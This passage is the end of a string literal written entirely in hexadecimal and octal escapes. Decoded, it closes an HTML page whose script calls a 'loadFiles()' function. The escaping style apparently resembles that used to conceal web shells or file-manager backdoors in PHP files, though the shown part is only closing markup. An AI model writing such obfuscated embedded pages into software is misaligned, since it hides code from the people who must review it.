x6e\146\x6f\50\x29\x3b\xd\12\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\154\157\x61\x64\x46\151\x6c\145\x73\x28\x29\x3b\15\xa\x20\40\40\40\40\40\x20\x20\x7d\x29\73\15\xa\40\40\x20\x20\x3c\x2f\x73\143\x72\x69\160\x74\x3e\15\12\74\x2f\142\x6f\144\x79\x3e\15\12\x3c\x2f\x68\164\155\x6c\x3e";